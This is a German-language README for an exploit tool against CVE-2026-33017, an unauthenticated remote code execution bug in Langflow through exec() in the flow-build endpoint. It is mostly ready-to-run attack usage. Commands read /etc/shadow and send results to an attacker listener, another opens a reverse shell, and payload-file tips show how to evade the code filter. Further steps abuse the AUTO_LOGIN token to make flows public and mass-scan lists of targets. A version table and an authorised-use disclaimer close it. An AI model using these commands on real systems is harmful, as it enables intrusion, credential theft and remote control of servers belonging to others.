
Exploit für CVE-2026-33017 — Nicht authentifizierte RCE in Langflow <= 1.8.2 über exec() im Flow-Build-Endpunkt
_____
/ \
| () () |
\ ^ /
|||||
exec() ohne Authentifizierung, ohne Sandbox, ohne Hoffnung.
Langflow <= 1.8.2 ermöglicht nicht authentifizierte Remote-Codeausführung über den Endpunkt POST /api/v1/build_public_tmp/{flow_id}/flow. Vom Angreifer bereitgestellte Flow-Daten, die beliebigen Python-Code in Node-Definitionen enthalten, werden direkt an exec() übergeben – ohne jegliche Sandboxing.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> beliebiger Code läuft als Serverprozess. Game over.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# Terminal 1: Listener starten
python3 -m http.server 8080
# Terminal 2: Exploit ausführen
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# Base64 aus den Listener-Logs dekodieren:
echo "dWlkPTEwMDAo..." | base64 -d
# Terminal 1: Listener starten
nc -l 8080
# Terminal 2: Exploit ausführen
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# Die Rohausgabe landet direkt im POST-Body – keine Dekodierung nötig
# Terminal 1: Listener starten
nc -l 4444
# Terminal 2: Exploit ausführen
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
Regeln für Payload-Dateien:
exec() innerhalb von prepare_global_scope()_x = os.popen(...).read()), da der AST-Filter nur Assign-, FunctionDef- und ClassDef-Nodes ausführtthreading.Thread(daemon=True) verwenden, um die Zerstörung der asynchronen Event-Loop zu vermeidenWenn keine PUBLIC-Flows existieren, aber AUTO_LOGIN aktiviert ist (Standard in vielen Bereitstellungen):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
Dies übernimmt das AUTO_LOGIN-Token, setzt den ersten Flow per PATCH auf PUBLIC und nutzt ihn dann aus.
Mehrere Ziele aus einer Datei scannen (nur Verwundbarkeitsprüfung):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
targets.txt-Format:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# Kommentare werden ignoriert
Die Ausgabe zeigt:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version ab, um das Ziel zu identifizierenCustomComponent-Node, der bösartigen Python-Code im code-Feld enthält/api/v1/build_public_tmp/{flow_id}/flow mit dem manipulierten data-Parameter. Langflow kompiliert den Graphen, was create_class() -> prepare_global_scope() -> exec() auf dem Code des Angreifers aufruftDer Fix in v1.9.0 entfernt den data-Parameter vollständig und zwingt den Endpunkt, ausschließlich gespeicherte Flow-Daten aus der Datenbank zu verwenden.
| Version | Status |
|---|---|
| <= 1.8.1 | Verwundbar |
| 1.8.2 | Behaupteter Fix im Changelog, aber der Code wurde nie geändert (von JFrog bestätigt) |
| 1.9.0-dev0 bis dev11 | Weiterhin verwundbar |
| 1.9.0 | Tatsächlich behoben – data-Parameter vom Endpunkt entfernt |
Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung bestimmt. Verwenden Sie es nur gegen Systeme, für die Sie eine ausdrückliche Testgenehmigung haben. Der Autor übernimmt keine Verantwortung für Missbrauch.